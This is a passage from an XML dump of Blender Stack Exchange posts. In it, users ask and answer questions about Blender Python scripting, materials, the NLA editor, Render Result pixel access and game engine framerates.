noreferrer&quot;&gt;&lt;code&gt;pprint&lt;/code&gt;&lt;/a&gt; to nicely display the vertex&amp;lt;--&gt;colors dict (&lt;code&gt;tk&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from collections import defaultdict&#xA;&#xA;tk = defaultdict(list)&#xA;&#xA;mesh = bpy.context.active_object.data&#xA;color_layer = mesh.vertex_colors['Col']&#xA;&#xA;i = 0&#xA;for poly in mesh.polygons:&#xA;    for idx in poly.loop_indices:&#xA;        loop = mesh.loops[idx]&#xA;        color = color_layer.data[i].color&#xA;        tk[loop.vertex_index].append(color)&#xA;        i += 1&#xA;&#xA;# you must cast this as a dict manually like  tk = dict(tk) , &#xA;# if you need it as a dict, but defaultdict will behave mostly the same&#xA;import pprint&#xA;pprint.pprint(tk)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will get you as far as being able to average the colors. The output for this &lt;code&gt;Col&lt;/code&gt; (for sake of simplicity i use a 9 vertex planar surface)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cTHn9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{0: [Color((0.800000011920929, 0.4313725531101227, 0.04313725605607033))],&#xA; 1: [Color((0.11372549086809158, 0.800000011920929, 0.0))],&#xA; 2: [Color((0.27450981736183167, 0.27843138575553894, 0.27843138575553894))],&#xA; 3: [Color((0.7882353067398071, 0.7921568751335144, 0.800000011920929))],&#xA; 4: [Color((0.800000011920929, 0.4313725531101227, 0.04313725605607033)),&#xA;     Color((0.27450981736183167, 0.27843138575553894, 0.27843138575553894))],&#xA; 5: [Color((0.11372549086809158, 0.800000011920929, 0.0)),&#xA;     Color((0.7882353067398071, 0.7921568751335144, 0.800000011920929))],&#xA; 6: [Color((0.7882353067398071, 0.7921568751335144, 0.800000011920929)),&#xA;     Color((0.27450981736183167, 0.27843138575553894, 0.27843138575553894))],&#xA; 7: [Color((0.800000011920929, 0.4313725531101227, 0.04313725605607033)),&#xA;     Color((0.11372549086809158, 0.800000011920929, 0.0))],&#xA; 8: [Color((0.800000011920929, 0.4313725531101227, 0.04313725605607033)),&#xA;     Color((0.11372549086809158, 0.800000011920929, 0.0)),&#xA;     Color((0.7882353067398071, 0.7921568751335144, 0.800000011920929)),&#xA;     Color((0.27450981736183167, 0.27843138575553894, 0.27843138575553894))]}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To complete this, here's an example of how to average a list of colors (naturally, for greyscale colors you only have to concentrate on 1 component as R,G and B should all be the same.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import pprint&#xA;from mathutils import Color&#xA;&#xA;cols = tk[8]   # unadulterated color list for that vertex&#xA;pprint.pprint(cols)&#xA;&#xA;def avg_col(cols):&#xA;    avg_col = Color((0.0, 0.0, 0.0))&#xA;    for col in cols:&#xA;        avg_col += col/len(cols)&#xA;    return avg_col&#xA;&#xA;print('average')&#xA;col = avg_col(cols)&#xA;print(col)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now using the &lt;code&gt;defaultdict&lt;/code&gt; that represents the vertices and their occurrence in &lt;code&gt;vertex_colors&lt;/code&gt; you can average them, or do whatever calculations and create a new dict with a dict comprehension.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import pprint&#xA;import bpy&#xA;&#xA;vcol_averages = {k: avg_col(v) for k, v in tk.items()}&#xA;pprint.pprint(vcol_averages)&#xA;&#xA;''' outputs, nicely the averages.&#xA;{0: Color((0.800000011920929, 0.4313725531101227, 0.04313725605607033)),&#xA; 1: Color((0.11372549086809158, 0.800000011920929, 0.0)),&#xA; 2: Color((0.27450981736183167, 0.27843138575553894, 0.27843138575553894)),&#xA; 3: Color((0.7882353067398071, 0.7921568751335144, 0.800000011920929)),&#xA; 4: Color((0.5372549295425415, 0.3549019694328308, 0.16078431904315948)),&#xA; 5: Color((0.45098039507865906, 0.7960784435272217, 0.4000000059604645)),&#xA; 6: Color((0.5313725471496582, 0.5352941155433655, 0.5392156839370728)),&#xA; 7: Color((0.45686274766921997, 0.615686297416687, 0.021568628028035164)),&#xA; 8: Color((0.4941176474094391, 0.5754902362823486, 0.2803921699523926))}&#xA;'''&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From this you might create a list of vertex indices following a threshold test.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;vertices_of_interest = [k for k, v in vcol_averages.items() if v.r &amp;lt; 0.5]&#xA;&#xA;pprint.pprint(vertices_of_interest)&#xA;# [1, 2, 5, 7, 8]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Selecting vertices, is easy once you get to this point.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-08-07T20:20:15.467" LastActivityDate="2013-08-07T20:20:15.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2167" PostTypeId="2" ParentId="2164" CreationDate="2013-08-06T17:19:31.800" Score="8" Body="&lt;p&gt;You can't import these module from the Python Console, they're only available when the bge is running. Add your script to a python &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Game_Engine/Logic/Controllers&quot;&gt;controller logic brick&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-08-06T17:19:31.800" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2168" PostTypeId="1" AcceptedAnswerId="2169" CreationDate="2013-08-06T17:27:33.390" Score="6" ViewCount="696" Body="&lt;p&gt;In the VSE, is there a way to slide a Strip (audio file in this case) left-or-right on the time axis without moving the Keyframes I've made for it? &lt;/p&gt;&#xA;" OwnerUserId="621" LastActivityDate="2013-12-06T01:04:07.213" Title="Is there a way to Move a VSE Strip without moving its Keyframes?" Tags="&lt;video-sequence-editor&gt;&lt;graph-editor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2169" PostTypeId="2" ParentId="2168" CreationDate="2013-08-06T17:49:22.100" Score="6" Body="&lt;p&gt;In the NLA Editor you can do one of the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/User:Rking/Doc:2.6/Manual/Animation/Editors/NLA#Creating_Action_Strips&quot; rel=&quot;nofollow noreferrer&quot;&gt;Created a NLA-Strip&lt;/a&gt; by clicking the &lt;img src=&quot;https://i.stack.imgur.com/NHPxi.png&quot; alt=&quot;snowflake icon&quot;&gt; next to your action.&lt;/li&gt;&#xA;&lt;li&gt;Temporarily unlink the the datablock in the &lt;a href=&quot;http://wiki.blender.org/index.php/User:Rking/Doc:2.6/Manual/Animation/Editors/NLA#Animation_Data&quot; rel=&quot;nofollow noreferrer&quot;&gt;Animation Data panel&lt;/a&gt; while you preforming the transformation.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditDate="2013-08-06T18:27:50.063" LastActivityDate="2013-08-06T18:27:50.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2170" PostTypeId="1" AcceptedAnswerId="23309" CreationDate="2013-08-06T20:46:12.000" Score="19" ViewCount="11126" Body="&lt;p&gt;Render Result exists in &lt;code&gt;bpy.data.images[&quot;Render Result&quot;]&lt;/code&gt; but it contains no data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also &lt;code&gt;bpy.data.images[&quot;Render Result&quot;].size[0]&lt;/code&gt; is 0, even if the render shows as an image in the UV/Image Editor with a width of 1366.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe the render result cannot be accessed as an image or I missing some update or refresh call somewhere but I can't find such a thing in the 2.68 API documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tip in the correct direction appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1056" LastEditorUserId="29" LastEditDate="2013-08-06T20:51:26.877" LastActivityDate="2020-11-05T23:40:07.107" Title="How to access Render Result pixels from python script?" Tags="&lt;rendering&gt;&lt;scripting&gt;&lt;python&gt;" AnswerCount="5" CommentCount="1" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="2171" PostTypeId="2" ParentId="2170" CreationDate="2013-08-06T21:03:51.380" Score="4" Body="&lt;p&gt;Last time I experimented with this, it was necessary to save the content of &lt;code&gt;Render Result&lt;/code&gt; as an image to disk and then load it as a new image. Then the pixel array is accessible. Maybe this API feature can be improved, or i'm doing it wrong :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;bpy.data.images['Render Result'].save_render(&quot;somefile.tga&quot;)&#xA;r2 = bpy.data.images.load(&quot;somefile.tga&quot;)&#xA;r2.pixels[0] = 0.2345&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-08-06T21:09:41.180" LastActivityDate="2013-08-06T21:09:41.180" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2172" PostTypeId="1" CreationDate="2013-08-06T21:30:49.560" Score="3" ViewCount="1456" Body="&lt;p&gt;I have a car that has two materials assigned to it. When I apply a boolean modifier to the car it tweaks all the colors that were assigned to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this and what can I do about it?&lt;/p&gt;&#xA;" OwnerUserId="1057" LastEditorUserId="12" LastEditDate="2013-08-07T03:23:09.310" LastActivityDate="2013-09-05T19:16:55.563" Title="Boolean modifier messes up material assignment" Tags="&lt;materials&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2013-08-07T14:56:26.707" ContentLicense="CC BY-SA 3.0" />
  <row Id="2173" PostTypeId="2" ParentId="2172" CreationDate="2013-08-07T02:46:40.633" Score="3" Body="&lt;p&gt;This is because assigning different materials to a mesh is dependent on the &lt;em&gt;Topology&lt;/em&gt; of the mesh. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding a Boolean operation changes the topology, so the faces that no longer exist can't have a material, and new faces will most likely be in different positions or shapes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender assigns the first material to new faces created by a Boolean modifier:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vvfz4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vvfz4s.png&quot; alt=&quot;boolean example&quot;&gt;&lt;/a&gt; &lt;img src=&quot;https://i.stack.imgur.com/QKtiM.png&quot; alt=&quot;materials&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few possible workarounds:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Applying the Boolean modifier and assigning the materials your self, as well as changing the topology to fit where the materials should go.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Using a texture to combine materials with a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/Shaders#Mix_and_Add&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mix shader&lt;/a&gt;, independent of the object topology.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lLHnn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cs3RY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-09-05T19:16:55.563" LastActivityDate="2013-09-05T19:16:55.563" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2174" PostTypeId="1" CreationDate="2013-08-07T03:42:12.527" Score="2" ViewCount="3962" Body="&lt;p&gt;What are the system requirements for working with complex geometry in Blender? Things like RAM, GPU, CPU etc.?&lt;/p&gt;&#xA;" OwnerUserId="1058" LastEditorUserId="12" LastEditDate="2013-08-07T04:30:14.620" LastActivityDate="2016-04-05T04:25:58.057" Title="General system specs for large scenes in blender" Tags="&lt;performance&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2013-08-07T15:03:24.967" CommunityOwnedDate="2013-08-07T04:28:09.767" ContentLicense="CC BY-SA 3.0" />
  <row Id="2175" PostTypeId="2" ParentId="2174" CreationDate="2013-08-07T04:26:09.007" Score="3" Body="&lt;p&gt;Blender's website has a page dedicated to this, it is now dated a few years but is still useful (was updated for 2.6).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://archive.blender.org/features-gallery/requirements/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://archive.blender.org/features-gallery/requirements/index.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are considering building a PC for 3D, anything from &lt;em&gt;Average&lt;/em&gt; and up should suffice for fairly complex scenes.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Minimal specs for Hardware&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;32 bits, Dual Core CPU with at least 2 GHZ, and SSE2 support.&lt;/li&gt;&#xA;  &lt;li&gt;2 GB RAM&lt;/li&gt;&#xA;  &lt;li&gt;24 bits 1280x768 display&lt;/li&gt;&#xA;  &lt;li&gt;Mouse or trackpad&lt;/li&gt;&#xA;  &lt;li&gt;OpenGL Graphics Card with 256 MB RAM&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Average specs for Hardware&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;64 bits, Quad Core CPU&lt;/li&gt;&#xA;  &lt;li&gt;8 GB RAM&lt;/li&gt;&#xA;  &lt;li&gt;Full HD Display with 24 bit color&lt;/li&gt;&#xA;  &lt;li&gt;Mouse or trackpad&lt;/li&gt;&#xA;  &lt;li&gt;OpenGL Graphics Card with 1 GB RAM&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Production specs for Hardware&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;64 bits, Dual 8 Core CPU&lt;/li&gt;&#xA;  &lt;li&gt;16 GB RAM&lt;/li&gt;&#xA;  &lt;li&gt;Two times Full HD Display with 24 bit color&lt;/li&gt;&#xA;  &lt;li&gt;Mouse + tablet&lt;/li&gt;&#xA;  &lt;li&gt;Dual OpenGL Graphics Cards, quality brand with 3 GB RAM&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Also related: &lt;a href=&quot;https://blender.stackexchange.com/questions/1469/best-video-cards-for-cycles&quot;&gt;What are the best graphics cards for cycles?&lt;/a&gt; and &lt;a href=&quot;https://blender.stackexchange.com/questions/722/how-important-is-a-gpu-if-im-not-doing-cycles-rendering/723#723&quot;&gt;How important is a GPU for modeling?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2016-04-05T04:25:58.057" CommentCount="0" CommunityOwnedDate="2013-08-07T04:26:09.007" ContentLicense="CC BY-SA 3.0" />
  <row Id="2176" PostTypeId="1" AcceptedAnswerId="2178" CreationDate="2013-08-07T05:22:11.303" Score="21" ViewCount="15203" Body="&lt;p&gt;I'm trying to match Cycles to a Blender-Internal material setup and I didn't see a way for cycles to have an image reference more then one UV map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to have a node setup with 2 image textures, each using a different mesh UVLayer?&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-12-03T10:29:56.853" Title="Can Cycles use multiple UV layers?" Tags="&lt;cycles-render-engine&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="2177" PostTypeId="1" AcceptedAnswerId="2197" CreationDate="2013-08-07T06:25:32.273" Score="8" ViewCount="8489" Body="&lt;p&gt;I have tried the following, and the resulting image file, when opened in GIMP, never contains an alpha channel, only R, G and B.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;image = bpy.data.images.new(&quot;Sprite&quot;, alpha=True, width=16, height=16)&#xA;image.filepath = &quot;//Sprite.png&quot;&#xA;image.file_format = 'PNG'&#xA;image.save()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Result: no alpha channel in png&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;image = bpy.data.images.new(&quot;Sprite&quot;, alpha=True, width=16, height=16)&#xA;image.colorspace_settings.name = 'sRGB'&#xA;image.use_alpha = True&#xA;image.alpha_mode = 'STRAIGHT'&#xA;image.filepath = &quot;//Sprite.png&quot;&#xA;image.file_format = 'PNG'&#xA;image.save()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Result: no alpha channel in png file.&lt;/p&gt;&#xA;" OwnerUserId="1056" LastEditorUserId="55" LastEditDate="2013-08-07T20:37:07.847" LastActivityDate="2017-07-21T04:32:09.797" Title="How to save an image created from python script including the alpha channel?" Tags="&lt;scripting&gt;&lt;python&gt;&lt;image&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2178" PostTypeId="2" ParentId="2176" CreationDate="2013-08-07T06:32:03.653" Score="24" Body="&lt;p&gt;Yes, the different UVMaps can be selected by an &lt;em&gt;attribute node&lt;/em&gt; and plugged into the vector input of an &lt;em&gt;image texture node&lt;/em&gt; as well as into another &lt;em&gt;image texture node&lt;/em&gt; vector input holding an alpha mask of the image referenced from the first texture node. This way multiple textures (and UVMaps) can be mixed for a single material output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This technique is demonstrated in &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?245468&quot; rel=&quot;noreferrer&quot;&gt;this tutorial&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qcz6U.png&quot; alt=&quot;Simple nodes-setup demonstrating the usage of two UV Layouts in a Cycles material.&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="1068" LastEditDate="2013-08-08T15:49:46.833" LastActivityDate="2013-08-08T15:49:46.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2179" PostTypeId="2" ParentId="2170" CreationDate="2013-08-07T06:50:17.977" Score="5" Body="&lt;p&gt;Answering myself, if somebody find a better solution please answer and I will change my accepted answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;s&gt;only reliable&lt;/s&gt; way to access the render result pixels is this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Save the actual value of &lt;code&gt;bpy.data.scenes[&quot;Scene&quot;].render.filepath&lt;/code&gt; to a local variable&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set &lt;code&gt;bpy.data.scenes[&quot;Scene&quot;].render.filepath&lt;/code&gt; to something to avoid overwriting any previous render, for example &lt;code&gt;&quot;//temp.&quot; + str(time.time()) + &quot;.png&quot;&lt;/code&gt;. 1 and 2 can be ignored if you don't care of any previous render.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Call &lt;code&gt;bpy.ops.render.render(write_still=True)&lt;/code&gt;. &lt;code&gt;write_still&lt;/code&gt; set to &lt;code&gt;true&lt;/code&gt; will cause the file to be immediately written to disk.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a new image and load that file from disk, or use an existing image reserved for this purpose in your blend file and set its filepath and then reload.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Do what you need to do with the loaded image pixels.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Remove the loaded image, except you have a good reason to keep it in the blend file.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Restore the original value of &lt;code&gt;bpy.data.scenes[&quot;Scene&quot;].render.filepath&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Brief: &lt;s&gt;the only reliable&lt;/s&gt; way to access pixel data of a render is to render it, save to disk immediately, recover from disk, read pixel data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the time of writing this, Blender version is 2.68.&lt;/p&gt;&#xA;" OwnerUserId="1056" LastEditorUserId="241" LastEditDate="2016-04-30T16:02:46.873" LastActivityDate="2016-04-30T16:02:46.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2180" PostTypeId="1" AcceptedAnswerId="2196" CreationDate="2013-08-07T06:51:24.280" Score="9" ViewCount="1009" Body="&lt;p&gt;I'm currently trying to flatten waves of the ocean simulator on a beach area using a lattice. But sometimes the end of the waves mesh becomes visible. When the influence of the lattice is increased too much it pulls the whole ocean to the beach. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be a better way to achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The images should illustrate the issues faced:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/de88a.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AdGBT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="599" LastEditDate="2013-10-17T20:46:18.670" LastActivityDate="2013-10-17T20:46:18.670" Title="How can Waves of the Ocean Simulator flattened on a Beach Area?" Tags="&lt;modifiers&gt;&lt;ocean-simulation&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2181" PostTypeId="1" AcceptedAnswerId="2194" CreationDate="2013-08-07T07:05:59.873" Score="11" ViewCount="1951" Body="&lt;p&gt;just want to discuss the better way to filter certain object(s) (either by types or by names, etc) based on a rough selection. For example, I got a crowded downtown scene, there are meshes, lamps, cameras, speakers along the street, and I want to select all the lamps and cameras for further editing. Is there a better way to filter them after a rough selection?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: Some solutions are not ideal for the certain case:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1&gt; Cannot use &quot;Hide&quot;. This works with simple one, however, some things have been hidden before, and I don't want to show them back together after this.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2&gt; Cannot filter by moving to a single/empty scene, This works with simple projects, but all objects within the rough selection came from multiple scenes, it would be not easy to bring them back to their individual scenes after this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3&gt; Cannot use &quot;Local View&quot;, since I'm already in it.&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2013-08-08T09:29:05.213" Title="How to do &quot;filter select&quot; in an existing selection?" Tags="&lt;editing&gt;" AnswerCount="5" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2182" PostTypeId="2" ParentId="2181" CreationDate="2013-08-07T07:34:05.750" Score="5" Body="&lt;p&gt;If you have more elaborate filter criteria than the &lt;em&gt;Outliner&lt;/em&gt; can handle, then perhaps a script is needed. The core of the working code would be, for one scene:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# if you have a rough selection&#xA;for obj in bpy.context.selected_objects:&#xA;    if obj.type not in {'CAMERA', 'LAMP'}:&#xA;        obj.select = False&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but if you have multiple scenes going on, something like this may be useful.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for scene in bpy.data.scenes:&#xA;    for obj in scene.objects:&#xA;        if obj.type not in {'CAMERA', 'LAMP'}:&#xA;            obj.select = False        &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Those two snippets will de-select only those objects that are not of type &lt;code&gt;CAMERA&lt;/code&gt; or &lt;code&gt;LAMP&lt;/code&gt;. It is possible to subscript &lt;code&gt;bpy.data.scenes&lt;/code&gt; if you have 6 scenes but want to focus only on two you might write:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for scene in bpy.data.scenes:&#xA;&#xA;    # we skip scenes if they are not in this set&#xA;    if scene.name not in {'Scene', 'Scene.001'}:&#xA;        continue&#xA;&#xA;    for obj in scene.objects:&#xA;        if obj.type not in {'CAMERA', 'LAMP'}:&#xA;            obj.select = False  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-08-07T20:05:16.897" LastActivityDate="2013-08-07T20:05:16.897" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2183" PostTypeId="2" ParentId="2181" CreationDate="2013-08-07T08:20:41.767" Score="6" Body="&lt;p&gt;Use the Outliner area to &lt;em&gt;filter by type&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Change the Outliner's display type to &lt;strong&gt;Same Types&lt;/strong&gt;, to filter by type similar to last selected object,&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;A&lt;/kbd&gt; to highlight all items, or &lt;kbd&gt;LMB&lt;/kbd&gt; on empty part of a line to highlight individual item.&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;RMB&lt;/kbd&gt; on the Outliner, then click &lt;strong&gt;Select&lt;/strong&gt; to select all highlighted items. You can also directly select/deselect an item by clicking &lt;kbd&gt;LMB&lt;/kbd&gt; or &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;LMB&lt;/kbd&gt; on its icon.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Use the Outliner's live search feature to &lt;em&gt;filter by name&lt;/em&gt;. Even though a little trickier because it also matches object data, vertex groups, etc., selection using it can still be made easier if combined with some Outliner display types like &lt;strong&gt;Visible Layers&lt;/strong&gt;, &lt;strong&gt;Selected&lt;/strong&gt;, or &lt;strong&gt;Same Types&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the Outliner's &lt;strong&gt;Selected&lt;/strong&gt; display type to &lt;em&gt;prune existing selections&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe those solutions aren't quite what you're looking for, but it's easy enough to try and still very useful to manage complex scenes.&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="185" LastEditDate="2013-08-07T08:31:15.800" LastActivityDate="2013-08-07T08:31:15.800" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2184" PostTypeId="1" CreationDate="2013-08-07T08:56:29.427" Score="5" ViewCount="1215" Body="&lt;p&gt;By &lt;em&gt;BGE framerate&lt;/em&gt; I mean the rate at which True pulse is fired (and thus attached Python controller script is executed) and by &lt;em&gt;Action framerate&lt;/em&gt; I mean the rate at which the value returned by &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_release/bge.types.KX_GameObject.html#bge.types.KX_GameObject.getActionFrame&quot;&gt;&lt;code&gt;KX_GameObject.getActionFrame()&lt;/code&gt;&lt;/a&gt; is changing. (I've heard the term &lt;em&gt;Logic framerate&lt;/em&gt; in the context of BGE, but I'm not sure if it is the same thing as &lt;em&gt;BGE framerate&lt;/em&gt; I'm talking about :-/ Sorry!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a small snippet which I used for testing (which should clarify what I mean by &lt;em&gt;BGE frame&lt;/em&gt; and &lt;em&gt;Action frame&lt;/em&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre class=&quot;lang-py prettyprint-override&quot;&gt;&lt;code&gt;import bge&#xA;&#xA;BGE_frame = 0&#xA;&#xA;def main(cont):&#xA;    global BGE_frame&#xA;&#xA;    arm = cont.owner&#xA;    if not arm.isPlayingAction():&#xA;        arm.playAction(&quot;run&quot;, 0, 45, play_mode=bge.logic.KX_ACTION_MODE_PLAY)&#xA;&#xA;    print(BGE_frame)&#xA;    print(arm.getActionFrame())&#xA;&#xA;    BGE_frame += 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using the above script for Python controller attached to an Always True sensor gives following result (the n-th &lt;em&gt;BGE frame&lt;/em&gt; and corresponding &lt;em&gt;Action frame&lt;/em&gt;): &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/NK2RrVkR&quot;&gt;http://pastebin.com/NK2RrVkR&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As we can see, there is a significant difference in both frame-rates (e.g. the 11th &lt;em&gt;BGE frame&lt;/em&gt; corresponds to the 4th 